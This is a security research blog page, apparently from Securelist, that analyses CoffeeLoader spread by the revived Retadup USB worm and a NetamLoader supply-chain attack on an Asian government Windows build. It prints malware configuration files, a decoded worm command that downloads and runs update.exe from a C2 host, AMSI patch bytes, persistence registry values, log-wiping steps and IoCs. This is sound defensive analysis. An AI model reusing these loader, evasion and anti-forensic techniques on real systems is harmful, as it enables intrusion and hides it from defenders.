Tag: Malware Descriptions

  • A USB worm’s second life: Retadup spreading CoffeeLoader

    A USB worm’s second life: Retadup spreading CoffeeLoader

    In August 2026, we detected a new variant of the CoffeeLoader malware in the wild. On launch, the NSIS-based installer executable dropped a file named 7z.dll into a temporary directory and ran it through rundll32.exe. The 7z.dll file was a patched version of the original library of the popular 7-Zip archiver. Part of its code had been replaced with malicious self-decrypting shellcode that turned out to be a new version of the Armoury packer. This packer was also previously used in the CoffeeLoader Trojan.

    New Armoury variant

    The old variant of the Armoury packer used the GPU to decrypt the Trojan’s main body, relying on the OpenCL library, which implements the standard of the same name for high-performance computing.

    __kernel void f(__global char* a,__global char* b,__global char* c,int d)
    {
       c[get_global_id(0)] = a[get_global_id(0)] ^ b[get_global_id(0) % d];
    }

    The new variant also utilizes the GPU, but instead of OpenCL, it uses the OpenGL library, which implements the eponymous standard for applications that work with 2D and 3D graphics.

    layout(local_size_x = 256) in;
    
    layout(std430, binding = 0) buffer DataBuffer {
        uint data[];
    };
    
    layout(std430, binding = 1) buffer KeyBuffer {
        uint key[];
    };
    
    layout(std430, binding = 2) buffer ResultBuffer {
        uint result[];
    };
    
    void main() {
        uint index = gl_GlobalInvocationID.x;
        
        if (index >= data.length()) {
            return;
        }
        
        uint dataValue = data[index];
        uint keyValue = key[index];
        result[index] = dataValue ^ keyValue;
    }

    The Armoury payload has also changed. Previously, it was a DLL containing two shellcode fragments and the main body of CoffeeLoader. The first shellcode is a dropper responsible for installing the Trojan and gaining persistence. To do this, it copies the library to Windows folders and adds it to autorun. The second is a stager that creates a new dllhost.exe process and injects the main body of CoffeeLoader into it; in this variant, the main body is an executable file. Unlike the old version, the new version of the packer delivers yet another shellcode.

    CoffeeLoader downloader

    The shellcode decrypted by the Armoury packer is a new intermediate link in the infection chain: the CoffeeLoader downloader. It fully incorporates the dropper and stager functionality described above, as well as downloader functions used to fetch the Trojan’s main body.

    New CoffeeLoader downloader viewed in a text editor

    New CoffeeLoader downloader viewed in a text editor

    To establish persistence, the Trojan copies 7z.dll to subfolders of %PROGRAMDATA% or %LOCALAPPDATA%. The Run registry key is used for autorun. The subfolder, library, and registry value are named with eight hexadecimal digits generated from system volume information.

    C:\ProgramData\b79faace\b79faace.dll
    C:\Users\[username]\AppData\Local\b79faace\b79faace.dll
    Software\Microsoft\Windows\CurrentVersion\Run
    'b79faace.dll' = 'rundll32.exe "C:\ProgramData\b79faace\b79faace.dll",SetCodecs'

    To protect itself, the downloader creates a registry key that prevents the user from disabling autorun through Task Manager.

    Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
    'b79faace.dll' = [080000000000000000000000]

    Once persistence is established, the malware launches one of several processes (dllhost.exe, WerFault.exe, svchost.exe, OpenWith.exe, or AtBroker.exe), injects itself into it, and downloads the Trojan’s main body from a hardcoded C2 server address. The download is performed over HTTPS using the /payload?md5= path. On the first request to the server, the md5 parameter is set to zeros. On subsequent requests, it contains the hash of the previously downloaded payload.

    Example of a request to download the main body of CoffeeLoader:

    GET /payload?md5=00000000000000000000000000000000 HTTP/1.1
    Connection: Keep-Alive
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
    Host: api.internet-speed-check.com

    Example of a server response:

    HTTP/1.1 200 OK
    Date: Tue, 29 Sep 2026 14:34:25 GMT
    Content-Type: application/octet-stream
    Content-Length: 60800
    Connection: close
    Server: cloudflare
    x-content-md5: d7785198d9341310978e4cedc7bdb735
    x-signature: MEUCIDQNr86sBN3hmnLarIuPJ2WJEtXeIdnfsR4AkHUBI0AtAiEAyV5o2VM+LPDbme8nYdRydkrtI02TzyNdKh7+AdvPzUs=
    strict-transport-security: max-age=63072000; includeSubdomains
    x-frame-options: DENY
    x-content-type-options: nosniff
    cf-cache-status: DYNAMIC
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Server-Timing: cfCacheStatus;desc="DYNAMIC"
    Server-Timing: cfEdge;dur=4,cfOrigin;dur=66
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=AAAAAAAA"}]}
    CF-RAY: cf27d75a42bb5669-MIA
    alt-svc: h3=":443"; ma=86400

    In response to the request, the C2 returns encrypted shellcode that contains the main body of the Trojan. The payload is encrypted with a simple XOR, and the first 16 bytes of the downloaded data serve as the key.

    The HTTP response header also contains two fields: X-Signature and X-Content-MD5. The first contains a signature for the downloaded data, which is verified with a public key embedded in the Trojan.

    RUNTMSAAAAC2gVlbqvpsSutLE0/4ogdQ20Uw4qQyQQCw7448NvjMOaYWr+mlrvWiDCg79jWIhjiIuGuqxTb9VMsuceH4WyA5

    The second field contains the MD5 checksum of the decrypted payload body.

    If both the signature and the checksum checks pass, the Trojan allocates executable memory in its own process and transfers control to the downloaded and decrypted shellcode.

    Main CoffeeLoader module

    Once it gains control, the shellcode decrypts and sets up the main body of CoffeeLoader, then passes control to it. The Trojan itself hasn’t changed much since previous campaigns. In the new version, the attackers use different keys to encrypt requests to the C2 and decrypt its responses: A21251838432306F2CD2540593656B9E and 2026F751079659CF71C7BA64B345C12A.

    Certificate validation during the connection to the C2 has been replaced with signature verification of the C2 responses, which relies on the public key 23:6A:0D:E7:E0:FA:20:BC:0F:F4:7C:F6:8F:49:89:A8:10:BE:91:F0:0F:C2:F3:99:4D:46:F7:DF:D2:33:0B:00:6D:54:7A:AA:92:45:89:16:84:48:2E:AF:B8:F7:75:8A:4C:39:07:C5:24:EA:9D:3A:C6:FD:13:61:7D:54:19:FA. The binary communication protocol no longer uses the magic constant 0xC0FFEE42, which gave the malware its name: it now uses the far less telling value 0xD1D57871.

    However, we found no changes in functionality. The code contains the same three previously described commands for running a payload received from the C2: injecting it into a process, saving it to disk as an executable and then running it, or saving it as a DLL and running it via rundll32.exe.

    Distribution and initial infection

    The most notable finding was how exactly this CoffeeLoader variant spreads. Malware is most often distributed through email attachments, websites posing as free software download portals, ad banners that send users who click them through a chain of redirects to phishing resources, pirated software, and so on. CoffeeLoader infections, however, come from the Retadup worm.

    Retadup is a malicious computer worm first discovered in 2017. It was written in the AutoIt and AutoHotkey scripting languages. Once on a victim’s device, it copied itself to all connected USB flash drives and external drives as hidden files and shortcuts (LNK files). When a user opened the infected flash drive on another PC and clicked the shortcut, the worm made its way onto the new device. Systems infected with Retadup were joined into a botnet that could download and run additional malware on the operator’s command.

    In July 2019, French law enforcement gained access to Retadup’s C2 servers and took control of the botnet. As soon as an infected computer checked in with the server for new commands, it was instructed to wipe the worm body from the system. Within just a few weeks, more than 850,000 machines were disinfected, and the botnet ceased to exist… until 2024.

    Two years ago, someone began re-registering the domain names that Retadup had used as C2 servers and using them to issue commands to download third-party malware. At first, this was the SmokeLoader downloader packed using the 32-bit version of Armoury, but in early 2025, the same servers started serving CoffeeLoader.

    We don’t know whether it was the worm’s author or someone else that decided to revive the C2 servers, since Retadup’s C2 protocol is fairly simple: it consists of plaintext commands encoded with Base64 and then converted to hex.

    Below is an example of traffic from a 2017 Retadup variant that still communicates successfully with its C2 in 2026.

    GET /FD0C7EE872277F33E3335530299B836A/1/4/1/0/empty HTTP/1.1
    Connection: Keep-Alive
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.4.0 (WinHTTP/5.1) like Gecko
    Host: noobminer.newblackage.com
    
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 06 Aug 2026 04:07:32 GMT
    Content-Type: text/html
    Content-Length: 68
    Connection: keep-alive
    
    ::62327438664878386332786c5a5841744e6a41774d4441774c584e735a575677::
            
            decoded command: "ok||||sleep-600000-sleep"
    
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 10 Aug 2026 04:18:43 GMT
    Content-Type: text/html
    Content-Length: 180
    Connection: keep-alive
    
    ::623274386648783849475276643235736232466b4c576830644841364c79397964584a715a6e5a754c6e4a7a4c3356775a4746305a53356c654755364954703163475268644755755a58686c4c575276643235736232466b::
            
            decoded command: "ok|||| download-http://rurjfvn.rs/update.exe:!:update.exe-download"

    Geography

    When the Retadup botnet was taken down in 2019, the reported figure was 850,000 disinfected systems. Our statistics for the first three quarters of this year show that the new campaign is much smaller in scale. Our solutions blocked Retadup worm infection attempts on around 15,000 systems, most of them in Peru, Angola, Russia, and Bolivia.

    IoC

    Most active Retadup C2 servers
    alphanoob[.]com
    newblackage[.]com
    newminersage[.]com
    radnewage[.]com
    minernewage[.]com
    rad2016.publicvm[.]com
    radpal.publicvm[.]com
    roro2016.linkpc[.]net
    CoffeeLoader C2
    internet-speed-check[.]com
    Servers hosting CoffeeLoader files
    rurjfvn[.]rs/update.exe
    alphanoob[.]com/update.exe
    CoffeeLoader MD5 (DLL files)
    2272dde17925d6179bea6fcf4d543d20
    dce55eec553f6af16ba6481eaacb8638
    449c9e8bc6eb308aa3c46c88959e1a4f
    CoffeeLoader MD5 (NSIS-based installers)
    58886d45a0c5e802a5d0a7545c36112d
    cca710c5455c1fe2732771afbac16a09

    Source: Securelist (Kaspersky GReAT) · 2026-11-16

  • Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

    Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

    Introduction

    A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.

    The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.

    Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.

    Background

    During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:

    C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d

    Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.

    Initial infection

    The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:

    Files compressed in the CAB file

    Files compressed in the CAB file

    Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:

    C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

    After the file is launched in this manner, the infection chain progresses to stage 1.

    Stage 1

    Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.

    Infection chain: Stage 1

    Infection chain: Stage 1

    Step 1

    The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.

    <?xml version="1.0" encoding="utf-8" ?>
    <configuration>
    	<runtime>
    		<appDomainManagerType  value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
           </appDomainManagerType>
    		<appDomainManagerAssembly  value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, 
                        Culture=neutral, PublicKeyToken=31bf3856ad364e35">
           </appDomainManagerAssembly>
    		<NGenAssemblyUsageLog enabled="0" />
    	</runtime>
        <startup> 
            <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
        </startup>
    </configuration>

    According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:

    <?xml version="1.0" encoding="utf-8"?>
    <section name="foo">
        <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, 
                    Version=4.0.0.0, Culture=neutral, 
                    PublicKeyToken=b77a5c561934e089(Resources.resx)" />
    </section>

    Step 2

    The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.

    In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:

    Multiple layers of payloads are compressed and encrypted in the .resx file

    Multiple layers of payloads are compressed and encrypted in the .resx file

    The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.

    Base64-encoded serialized binary object in Resources.resx

    Base64-encoded serialized binary object in Resources.resx

    Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.

    XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.

    A code snippet of XAML-1

    A code snippet of XAML-1

    Step 3

    The XAML-1 code acts as a loader for an embedded payload. The process is as follows:

    1. Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
    2. Generate the AES key by hashing the command‑line string with SHA‑256.
    3. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
    4. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
    5. If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.

    Stage 2

    XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.

    Infection chain: Stage 2

    Infection chain: Stage 2

    XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().

    A code snippet of XAML-2

    A code snippet of XAML-2

    XAML-2-1

    The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.

    Sensitive strings in XAML-2-1 are cut into tiny pieces

    Sensitive strings in XAML-2-1 are cut into tiny pieces

    To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.

    The key steps it takes to achieve its goal are as follows:

    1. Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
    2. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
    3. Patch the AMSI module.
      • Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
      • Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
      • Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).

    One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.

    XAML-2-2

    XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.

    .NET 1 Loader

    .NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:

    {
        "p": "[Base64‑encoded JSON, which we call JSON‑1-p]"
        "c": "[Base64‑encoded JSON, which we call JSON‑1-c]"
    }
    • JSON-1-c
      This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server.

      sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped.
      c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server.
      tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate.
      e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader.
    • JSON-1-p
      JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:

      • oib: Base64‑encoded .NET 2 Plugin (PE file)
      • oub: Base64‑encoded XAML that invokes Exit(0)
      • ibk: AES key used to decrypt ibi
      • ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.

      Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.

      [
          {
              "c": [
                  {
                      "cu": "https://openaigpt4v.com/model_v4/",
                      "tp": "*",
                      "rh": ""
                  }
              ],
              "mib": 79200,
              "mab": 100800,
              "mis": 1200,
              "mas": 2400,
              "e": "9fT04e03tAiZAPogcDWt0w==",
              "ii":  null,
              "aop": null,
              "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...",
              "oub": "PFJlc291cmNlRGljdGlvbmFyeS...",
              "wi": 100801,
              "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=",
              "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...",
              "de": false
          }
      ]

    After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:

    1. Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
      • Delete malicious files extracted from the CAB
        PatchMyPC-ScriptRunner.exe.config
        fabric.config
        Resources.resx
      • Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis.
        %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log
        %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf
      • Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia.
        "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"
    2. Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
       
      For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}.
    3. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
    4. Verify that the current user is an administrator; if not, throw an exception with code 128.
    5. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
    6. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid().
    7. Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
    8. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
    9. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
    10. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
    11. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.
      [
          {
              // Fixed value
              "_": "0202097a-5c1e-460d-b5e0-030b9756b242",
              // Error number: 0 indicates successful execution
              "e": "0 ",
              // Value of config "ii"
              "i": "94aafd58-c00c-402a-aae6-858b4486a1a4"
          }
      ]
    12. POST the encrypted and encoded result to the reporting C2 server.

    XAML-3


    XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).

    The multi-layer encryption structure of "ibi"

    The multi-layer encryption structure of “ibi”

    The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.

    Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).

    The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.

    Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.

    The C2 configuration in XAML‑P2 is shown below:

    Item Value Description
    ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one).
    ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication.
    bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals.
    is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion.
    u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0)
    wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process.
    de False Local exception logging switch: when set to False, exception logging is enabled.
    si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId.
    cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list.
    tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu.
    rh   Additional route header/data: not configured in this instance.

    When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().

    .NET 2 Plugin

    This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.

    The following key steps are executed in this thread:

    1. Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
    2. Gather system information from the registry:
      • "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version"
        "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
      • Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
    3. Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
      • Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
      • If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
      • "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2}
        DllSurrogate = ""
    4. Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine.
    5. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
    6. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
    7. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).
    8. Periodic polling:
      1. Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
      2. Obtain the system proxy using three methods (see the Discovering proxies section below).
      3. Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
      4. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
      5. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64.
        // Final HTTP request URL
        "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"
      6. Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh.
      7. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
      8. If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.

    AES encryption scheme for network traffic


    All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.

    For a given master key and a single-byte seed, the derivation works as follows:

    1. Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
    2. Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
    3. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
    4. Take the first 16 bytes of the resulting hash; this becomes the final derived key.

    Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.

    Seed Key type generated (client side) Key type generated (server side)
    0 Decryption key Encryption key
    1 Decryption authentication key Encryption authentication key
    2 Encryption key Decryption key
    3 Encryption authentication key Decryption authentication key

